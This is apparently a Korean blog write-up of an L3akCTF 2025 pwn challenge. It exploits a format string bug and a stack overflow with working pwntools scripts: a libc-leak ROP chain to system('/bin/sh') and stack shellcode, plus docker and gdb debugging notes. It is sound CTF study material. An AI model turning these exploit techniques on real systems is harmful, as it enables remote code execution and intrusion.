Post

L3akctf 2025 writeup

문제 설명

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax

  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = time(0LL);
  srand(v3);
  setuser();
  nhonks = rand() % 91 + 10;
  if ( guess() )
    highscore();
  else
    puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
  return 0;
}

이 문제는 일단 처음 출력되는 ‘hook’이라는 문자가 랜덤한 개수로 출력되고, 이 개수가 몇개인지를 입력해야 다음으로 넘어갈 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int highscore()
{
  char buf[128]; // [rsp+0h] [rbp-170h] BYREF
  char s[128]; // [rsp+80h] [rbp-F0h] BYREF
  _BYTE v3[32]; // [rsp+100h] [rbp-70h] BYREF
  char format[80]; // [rsp+120h] [rbp-50h] BYREF

  strcpy(format, "wow %s you're so good. what message would you like to leave to the world?");
  printf("what's your name again?");
  __isoc99_scanf("%31s", v3);
  s[31] = 0;
  sprintf(s, format, v3);
  printf(s);
  read(0, buf, 0x400uLL);
  return printf("got it. bye now.");
}

개수가 일치하면 ‘highscore()’라는 함수 안으로 이동되는데, 출력에서 ‘printf(s)’를 사용하고 있어 format string bug가 일어난다.

1
2
3
4
5
6
7
8
[*] '/mnt/c/Users/s25ng/Downloads/chall (4)/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

PIE가 켜져 있기때문에 FSB를 이용해서 libc를 leak한 뒤 system함수로 덮어씌우는 ROP를 구성해서 익스플로잇할 수 있다고 추측하고 시도하였다.

일단 제공된 Dockerfile에서 libc를 추출하여 이용해야 됐기 때문에 이미지로 컨테이너를 생성한 뒤 내부로 들어갔다.

이때 환경구성한 컨테이너로 계속해서 익스 시도 후 분석을 해야하는데, 다음과 같이 하면된다.

1
2
3
4
5
$ docker build -t leakpwn .
$ docker run -d --name leakpwncon -p 16004:5000 leakpwn
$ docker run -it --entrypoint /bin/sh leakpwn
$ /lib/libc.so.6 //libc 버전 확인
$ docker cp <container_id>:/lib/libc.so.6 ./libc.so.6

그리고 코드를 작성하였는데,

highscore() 함수 구조가

1
2
3
4
char buf[128];     // [rbp - 0x170]
char s[128];       // [rbp - 0xF0]
char v3[32];       // [rbp - 0x70]
char format[80];   // [rbp - 0x50]

위처럼 되어있으므로 필요한 패딩은 0x170(buf 시작) + 8(saved RBP) = 376 byte이다.

따라서 코드를 구성해보면

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import time
from ctypes import CDLL

context.log_level = 'debug'
libc = ELF('libc.so.6')
rop = ROP(libc)

#p = process('./chall')
#p = remote('34.45.81.67', 16004)
p = remote('localhost', 16004)

libc_CDLL = CDLL('libc.so.6')

seed = int(time.time())
libc_CDLL.srand(seed)
nhonks = (libc_CDLL.rand() % 91) + 10

p.sendlineafter(b'> ', b'K')
p.sendlineafter(b'honks?', str(nhonks).encode())

p.sendlineafter(b'name again?', b'%57$p')
leak = p.recvuntil(b'message')

leak = leak.decode().strip()
addr_str = leak.replace("wow ", "").split()[0]
libc_leak = int(addr_str, 16)

libc_offset = 0x2a1ca
libc_base = libc_leak - libc_offset

log.success(f"libc leak = {hex(libc_leak)}")
log.success(f"libc base = {hex(libc_base)}")

pop_rdi_ret_offset = rop.find_gadget(['pop rdi', 'ret'])[0] - libc.address
binsh_offset = next(libc.search(b'/bin/sh')) - libc.address
system_offset = libc.symbols['system'] - libc.address
ret_offset = rop.find_gadget(['ret'])[0] - libc.address

system_addr   = libc_base + system_offset
binsh_addr    = libc_base + binsh_offset
pop_rdi_ret   = libc_base + pop_rdi_ret_offset
ret           = libc_base + ret_offset

payload = b'A' * 376
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

p.send(payload)
pause()

p.interactive()

이렇게 되는데,

결과적으로 이 방법은 실패했다.(결국 성공해서 밑에 내용 추가…)


실패 원인 분석 방법(환경)

그래서 원인분석을 해야했는데, 까먹을 수 있으니까

docker서버에 익스를 보내고 gdb로 attach 하는 과정 기록

1
2
3
4
5
FROM pwn.red/jail
COPY --from=ubuntu / /srv
ENV JAIL_CPU=100 JAIL_MEM=20M JAIL_TIME=30 JAIL_CONNS_PER_IP=1
COPY chall /srv/app/run
COPY flag.txt /srv/

제공된 Docerfile에 JAIL_TIME이 30초로 되어있어 30초마다 실행이 종료되므로 이를 3000으로 수정 후 진행하였다.

‘/jail/run’으로 인한 권한문제 때문에 –privileged 모드로 생성하였다.

1
docker run --rm -it --privileged --name leakpwncon -p 16004:5000 leakpwn

터미널 하나에 이렇게 입력해두고 계속 켜두면 서버는 계속 켜져있으므로 익스를 시도할 수 있다.

1
p = remote('localhost', 16004)

도커 서버를 열어두면 열어둔 포트로 remote를 통해 익스를 보낼 수 있는데,

원하는 부분에

1
pause()

를 넣어두어야 gdb로 attatch할 수 있는 시간을 벌 수 있다.

익스 코드에서 payload를 전송하기 전 pause()를 걸면

1
2
3
4
5
6
7
8
9
10
$ python3 ex5.py
[*] '/mnt/c/Users/s25ng/Downloads/chall (4)/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 195 cached gadgets for 'libc.so.6'
[+] Opening connection to localhost on port 16004: Done
[*] Paused (press any to continue)

동작이 멈추는데

이때 다른 터미널을 열고

1
2
3
4
$ docker top afb1574888a2
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
ksm                 51069               51050               0                   19:11               pts/0               00:00:00            /jail/nsjail -C /tmp/nsjail.cfg
ksm                 51100               51069               0                   19:11               ?                   00:00:00            /app/run

위의 명령어를 통해 컨테이너ID를 확인한다.

1
$ gdb -p 51100 ./chall

원하는 부분에 bp를 걸고 pause가 걸린 터미널에서 enter를 치면 페이로드가 전송되며 gdb로 확인할 수 있다.


실패 원인 분석

gdb로 확인해 본 결과

image.png

RIP에서 Segfault가 났는데,

image.png

vmmap을 통해 확인한 결과 libc base는 0x7f1862ed000이었고, 입력된 RIP와 오프셋을 확인해보니 0x27725가 나왔다.

1
pop_rdi_ret   = libc_base + 0x27725

추출한 libc를 통해 pop rdi의 오프셋을 확인했을 때 0x27725이므로 의도된대로 잘 실행되었으나

image.png

해당 오프셋 안에 있는 값은 pop rdi가 아닌 전혀 다른 가젯이었다.

image.png

/bin/sh 가젯으로 의도했던 오프셋도 전혀 다른 값이 들어있었다.

image.png

1
2
libc_offset = 0x2a1ca
libc_base = libc_leak - libc_offset

익스 코드 실행 결과 구해진 libcbase와 , gdb로 확인했을 때 vmmap도 일치한데 이유를 잘 모르겠다..


Stack leak으로 exploit 성공

익스 시도 방법을 변경했다.

NX가 걸려있지 않기 때문에

image.png

libc leak이 아닌 stack leak을 시도하고,

image.png

‘A’로 패딩을 채운 다음 버퍼 시작 주소를 확인하고,

image.png

leak한 주소와의 오프셋을 계산하면 ret 위치를 버퍼 시작주소로 덮을 수 있다.

쉘크래프트를 통해 시작주소에 쉘코드를 넣고, 패딩을 채운 뒤 ret위치에 stackleak-0x2b8을 넣어주면 익스가 될 것이라고 추측했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
import time
from ctypes import CDLL

context.log_level = 'debug'
context.arch = 'amd64'
libc = ELF('libc.so.6')
rop = ROP(libc)

#p = process('./chall')
p = remote('34.45.81.67', 16004)
#p = remote('localhost', 16004)

libc_CDLL = CDLL('libc.so.6')

seed = int(time.time())
libc_CDLL.srand(seed)
nhonks = (libc_CDLL.rand() % 91) + 10

p.sendlineafter(b'> ', b'K')
p.sendlineafter(b'honks?', str(nhonks).encode())

p.sendlineafter(b'name again?', b'%15$p')
leak = p.recvuntil(b'message')

leak = leak.decode().strip()
addr_str = leak.replace("wow ", "").split()[0]
stack_leak = int(addr_str, 16)

shell = asm(shellcraft.sh())
payload = shell 
payload += b'A'*(0x178 - len(shell)) 
payload += p64(stack_leak - 0x2b8)

#pause()
p.sendlineafter(b'?', payload)

p.interactive()

image.png

실행 결과 성공


libc leak 왜 안됐는지 다시 분석 해보기

image.png

1
2
3
*RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7ffdd1417530 —▸ 0x7faf69642031(의도는 /bin/sh) ◂— bsf eax, eax
*RIP  0x7faf694d3725 ◂— 0x0 (의도는 pop rdi)

0x7faf694d3725가 pop rdi 명령어여야 하는데, 전혀 다른 명령어가 있다.

1
2
x/i 0x7faf694d3725
=> 0x7faf694d3725:      add    BYTE PTR [rax],al

binsh 오프셋도 정확한데 이상한 값이 들어있다

1
2
3
4
5
6
7
p/x 0x7faf69642031 - 0x7faf694ac000
$4 = 0x196031

x/s 0x7faf69642031
0x7faf69642031: "\017\274\300H\203\357_H\001\370\351", <incomplete sequence \331>
x/i 0x7faf69642031
0x7faf69642031:      bsf    eax,eax

그래서 libc leak한 주소 내부 값을 로컬에서 찾아서 오프셋 계산을 해보기로 함

libc leak한 주소 내부 값

1
2
x/i 0x7faf694d61ca
0x7faf694d61ca:      mov    edi,eax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
objdump -D libc.so.6 --start-address=0x2a1b0 --stop-address=0x2a1f0

libc.so.6:     file format elf64-x86-64

Disassembly of section .text:

000000000002a1b0 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x2360>:
   2a1b0:       8b 4c 85 00             mov    0x0(%rbp,%rax,4),%ecx
   2a1b4:       0f c9                   bswap  %ecx
   2a1b6:       89 0c 83                mov    %ecx,(%rbx,%rax,4)
   2a1b9:       48 83 c0 01             add    $0x1,%rax
   2a1bd:       48 39 c7                cmp    %rax,%rdi
   2a1c0:       75 ee                   jne    2a1b0 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x2360>
   2a1c2:       48 c1 e7 02             shl    $0x2,%rdi
   2a1c6:       48 8d 0c 3b             lea    (%rbx,%rdi,1),%rcx
   2a1ca:       48 01 fd                add    %rdi,%rbp
   2a1cd:       48 8b 04 24             mov    (%rsp),%rax
   2a1d1:       48 89 28                mov    %rbp,(%rax)
   2a1d4:       49 39 ea                cmp    %rbp,%r10
   2a1d7:       74 38                   je     2a211 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x23c1>
   2a1d9:       48 8d 41 04             lea    0x4(%rcx),%rax
   2a1dd:       48 39 c6                cmp    %rax,%rsi
   2a1e0:       73 2f                   jae    2a211 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x23c1>
   2a1e2:       48 39 ce                cmp    %rcx,%rsi
   2a1e5:       0f 85 48 01 00 00       jne    2a333 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x24e3>
   2a1eb:       48 39 f3                cmp    %rsi,%rbx
   2a1ee:       0f 85           jne    2a0e0 <__gconv_get_alias_db@@GLIBC_PRIVATE+0x2290>
1
2a1ca:       48 01 fd                add    %rdi,%rbp

2a1ca 위치에 “mov edi,eax”가 있어야 하는데, 진짜 다른값이 들어있다..

아무래도 도커에서 libc추출을 잘못한 것 같다..

1
2
3
find / -name "libc.so.6" 2>/dev/null
/srv/usr/lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6

진짜네…

/srv/usr/lib/x86_64-linux-gnu/libc.so.6

이걸 추출해야 하는데

그냥 /lib 경로 들어가서 라이브러리 확인하고

/lib/libc.so.6 이걸 추출해서 쓰고 있었다..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import time
from ctypes import CDLL

context.log_level = 'debug'
libc = ELF('./libc.so.6')
rop = ROP(libc)

#p = process('./chall')
p = remote('34.45.81.67', 16004)
#p = remote('localhost', 16004)

libc_CDLL = CDLL('/lib/x86_64-linux-gnu/libc.so.6')

seed = int(time.time())
libc_CDLL.srand(seed)
nhonks = (libc_CDLL.rand() % 91) + 10

p.sendlineafter(b'> ', b'K')
p.sendlineafter(b'honks?', str(nhonks).encode())

p.sendlineafter(b'name again?', b'%57$p')
leak = p.recvuntil(b'message')

leak = leak.decode().strip()
addr_str = leak.replace("wow ", "").split()[0]
libc_leak = int(addr_str, 16)

libc_offset = 0x2a1ca
libc_base = libc_leak - libc_offset

log.success(f"libc leak = {hex(libc_leak)}")
log.success(f"libc base = {hex(libc_base)}")

pop_rdi_ret_offset = rop.find_gadget(['pop rdi', 'ret'])[0] - libc.address
binsh_offset = next(libc.search(b'/bin/sh')) - libc.address
system_offset = libc.symbols['system'] - libc.address
ret_offset = rop.find_gadget(['ret'])[0] - libc.address

system_addr   = libc_base + system_offset
binsh_addr    = libc_base + binsh_offset
pop_rdi_ret   = libc_base + pop_rdi_ret_offset
ret           = libc_base + ret_offset

payload = b'A' * 376
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

pause()

p.send(payload)

p.interactive()

image.png

성공..

This post is licensed under CC BY 4.0 by the author.